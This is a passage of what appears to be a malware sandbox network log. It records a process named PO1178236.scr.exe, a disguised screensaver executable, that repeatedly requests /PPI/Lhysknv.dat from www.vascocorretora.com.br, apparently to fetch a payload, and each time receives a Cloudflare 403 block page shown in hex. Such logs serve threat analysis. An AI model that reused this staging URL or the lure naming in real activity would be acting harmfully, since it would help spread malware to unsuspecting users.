2025-01-09 07:29:48 UTC	1005	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:30:03 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=arQkiglS2bEpzSoNakH2VuGOaJp4Tf4fDzHtmheluYEUV8UEm3qEuP9jEXZHo0lMVhI8Hp7%2BgD5z1XWufJAz9u2X2lIOJp%2FyeUQ21hWiX4DYtBL%2BOYIsTUwOOMRvGOLKM2zIejrt0f6w4vd6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b7e6abb47ce7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1928&min_rtt=1917&rtt_var=741&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1456359&cwnd=199&unsent_bytes=0&cid=46ce1be6a81703e9&ts=149&x=0"
2025-01-09 07:29:48 UTC	364	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:48 UTC	1369	IN	Data Raw: 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 Data Ascii: are</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=devi
2025-01-09 07:29:48 UTC	1369	IN	Data Raw: 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 74 63 Data Ascii: f-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.captc
2025-01-09 07:29:48 UTC	1369	IN	Data Raw: 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 65 36 61 62 62 34 37 63 65 37 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e Data Ascii: eft border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b7e6abb47ce7</strong></span> <span class="cf-footer-separator sm:hidden">
2025-01-09 07:29:48 UTC	998	IN	Data Raw: 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 65 36 61 62 62 34 37 63 65 37 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 34 4f 43 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 20 61 Data Ascii: ow._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b7e6abb47ce7',t:'MTczNjQwNzc4OC4wMDAwMDA='};var a
2025-01-09 07:29:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.4	50099	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:49 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:49 UTC	1007	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:30:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=e9fmZX5U7eEWLMUaTaFVqwvPdO7Q6j5oL0l9cqs6T%2BpZcH%2FYT6lU1j3j5UpFlzYSF4jvNp55Js82JELyQ3YG16jlX18v0sNEEQhKsT3qHSzJCPEnx9iR8Qe%2FbnkhX0kP%2F2e2iNMcaRHLKb0Z"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b7ea7e418c81-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2019&min_rtt=2013&rtt_var=768&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1414043&cwnd=235&unsent_bytes=0&cid=840e0965b858dafb&ts=137&x=0"
2025-01-09 07:29:49 UTC	362	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:49 UTC	1369	IN	Data Raw: 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 Data Ascii: flare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=de
2025-01-09 07:29:49 UTC	1369	IN	Data Raw: 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 Data Ascii: cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.cap
2025-01-09 07:29:49 UTC	1369	IN	Data Raw: 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 65 61 37 65 34 31 38 63 38 31 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e Data Ascii: -left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b7ea7e418c81</strong></span> <span class="cf-footer-separator sm:hidden
2025-01-09 07:29:49 UTC	1000	IN	Data Raw: 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 65 61 37 65 34 31 38 63 38 31 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 34 4f 53 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 Data Ascii: ndow._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b7ea7e418c81',t:'MTczNjQwNzc4OS4wMDAwMDA='};var
2025-01-09 07:29:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.4	50103	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:49 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:49 UTC	1007	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:30:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nu1NKl29jdeB%2FVCYe4VelDIaMTEGXcHGC4ErLsUniQr3geHUmJ%2Fgsaz8crTZRjeLHOjsbF56kbv%2FUVD8xiax6wsS37eyfi8NUI9W%2FwB8nV4cvesfx8HvlohIy8qq1hieMCyNo3oXYlMucdHF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b7ee5c734381-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2063&min_rtt=2057&rtt_var=783&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1387173&cwnd=211&unsent_bytes=0&cid=d354722a0fec14fa&ts=153&x=0"
2025-01-09 07:29:49 UTC	362	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:49 UTC	1369	IN	Data Raw: 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 Data Ascii: flare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=de
2025-01-09 07:29:49 UTC	1369	IN	Data Raw: 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 Data Ascii: cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.cap
2025-01-09 07:29:49 UTC	1369	IN	Data Raw: 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 65 65 35 63 37 33 34 33 38 31 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e Data Ascii: -left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b7ee5c734381</strong></span> <span class="cf-footer-separator sm:hidden
2025-01-09 07:29:49 UTC	1000	IN	Data Raw: 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 65 65 35 63 37 33 34 33 38 31 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 34 4f 53 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 Data Ascii: ndow._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b7ee5c734381',t:'MTczNjQwNzc4OS4wMDAwMDA='};var
2025-01-09 07:29:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.4	50109	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:50 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:50 UTC	1007	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:30:05 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fu8Fyhhe4GPqRjWl2kxC4vz0jHQwsQt2oCRwPGrnnTiYmTyTHbBwMPEe3d9rPATEht1VaTzRTxCwAMgh7s%2F31Lyku%2BpxACv2eudYx2EqDoKSv0OzJtjJABDnLG8dUzekoDrgJ7KcYI%2BwXB%2B8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b7f22fac7cf4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1989&min_rtt=1975&rtt_var=769&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1397129&cwnd=217&unsent_bytes=0&cid=fc9e00e6f19c9ba3&ts=130&x=0"
2025-01-09 07:29:50 UTC	362	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 